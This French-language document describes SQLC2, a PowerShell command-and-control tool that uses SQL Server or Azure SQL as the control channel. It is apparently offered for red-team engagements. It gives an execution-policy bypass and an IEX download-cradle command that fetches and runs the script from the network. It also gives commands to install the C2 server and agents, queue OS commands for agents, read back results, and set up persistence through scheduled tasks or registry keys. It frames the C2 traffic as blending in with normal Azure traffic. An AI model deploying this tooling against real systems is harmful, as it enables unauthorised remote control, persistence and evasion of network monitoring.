
SQLC2 est un script PowerShell pour déployer et gérer un système de commande et de contrôle qui utilise SQL Server à la fois comme serveur de contrôle et comme agent.
SQLC2 est un script PowerShell permettant de déployer et de gérer un système de commande et de contrôle qui utilise SQL Server à la fois comme serveur de contrôle et comme agent. Dans sa forme la plus simple, SQLC2 n'est qu'un script PowerShell, un script TSQL et quelques tables dans une instance SQL Server qui suivent les agents, les commandes et les résultats. Rien de très sophistiqué, mais cela peut s'avérer utile lors de certaines missions.
Pour une vue d'ensemble plus complète de SQLC2, consultez le blog à l'adresse https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/.
De plus en plus d'entreprises commencent à utiliser des bases de données Azure SQL Server. Lorsque ces instances Azure SQL Server sont créées, elles sont rendues accessibles via un sous-domaine de database.windows.net sur le port 1433. Par exemple, je pourrais créer une instance SQL Server nommée « mysupersqlserver.database.windows.net ». Par conséquent, certaines configurations réseau d'entreprise autorisent l'accès Internet sortant à n'importe quel sous-domaine « database.windows.net » sur le port 1433.
L'idée générale est qu'avec l'adoption croissante d'Azure SQL Server, il y aura davantage d'opportunités d'utiliser SQL Server comme canal de contrôle qui ressemble un peu à du trafic normal. SQLPS est une preuve de concept assez basique, mais je pense qu'il est suffisamment fonctionnel pour illustrer l'idée. Je sais qu'il y a pas mal d'améliorations à apporter, mais si vous finissez par l'essayer, j'aimerais avoir votre retour.
Bien que l'accent soit mis sur l'utilisation de SQLC2 avec des instances Azure SQL Server, vous pouvez héberger votre propre SQL Server dans n'importe quel environnement cloud et le faire écouter sur le port 443 avec SSL activé. Cela peut donc offrir un peu plus de flexibilité selon l'effort que vous souhaitez y consacrer.
Option 1 : Téléchargez le script et importez-le. Cela ne nécessite pas de privilèges administratifs et le script ne sera importé que dans la session en cours. Cependant, il peut être bloqué par des stratégies d'exécution restrictives ; vous pouvez donc utiliser l'option de contournement (bypass).
Set-ExecutionPolicy Bypass -Scope Process
Import-Module SQLC2.ps1
Option 2 : Chargez-le dans une session via un cradle de téléchargement. Cela ne nécessite pas de privilèges administratifs et ne sera importé que dans la session en cours. Cela ne devrait pas être bloqué par les stratégies d'exécution.
IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")
Remarque : Pour exécuter en tant qu'utilisateur de domaine différent, utilisez d'abord la commande runas pour lancer PowerShell.
runas /noprofile /netonly /user:domain\user PowerShell.exe

Vous trouverez ci-dessous la liste des fonctions utilisateur qui prennent en charge les flux de travail prévus.
Voici quelques exemples de captures d'écran.
Installation du serveur SQLC2 (création des tables) :
Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Installation de l'agent SQLC2 (travail d'agent SQL Server utilisant un lien de serveur) :
Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Affichage des agents SQLC2 :
Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

Définition d'une commande à exécuter sur l'agent :
Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' -Command "Whoami" -ServerName MSSQLSRV04

Récupération des résultats de commande :
Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'

| Function Name | Description |
|---|
| Install-SQLC2Server | Installe les tables SQLC2 sur le serveur SQL/la base de données cible. |
| Install-SQLC2AgentPs | Installe un agent qui utilise un travail d'agent SQL Server et un lien de serveur. |
| Install-SQLC2AgentLink | Installe un agent qui utilise une tâche planifiée ou une clé de registre pour exécuter des commandes PowerShell. |
| Set-SQLC2Command | Définit les commandes du système d'exploitation que les agents doivent exécuter. |
| Get-SQLC2Command | Obtient la liste des commandes du système d'exploitation en attente depuis le C2 pour l'agent. Cette fonction peut également exécuter la commande en attente avec le paramètre -Execute. |
| Get-SQLC2Agent | Obtient la liste des agents enregistrés sur le serveur SQLC2. |
| Get-SQLC2Result | Obtient la liste des commandes en attente et terminées. Prend en charge les filtres servername, status et cid. |
| Remove-SQLC2Agent | Supprime les agents enregistrés sur le SQLC2. Efface simplement l'historique. |
| Remove-SQLC2Command | Supprime l'historique des commandes sur le serveur SQLC2. |
| Uninstall-SQLC2AgentLink | Désinstalle l'agent SQLC2 qui utilise des liens de serveur et un travail d'agent. |
| Uninstall-SQLC2AgentPs | Désinstalle toutes les méthodes de persistance basées sur le système d'exploitation. |
| Uninstall-SQLC2Server | Supprime les tables SQLC2 de la base de données cible. |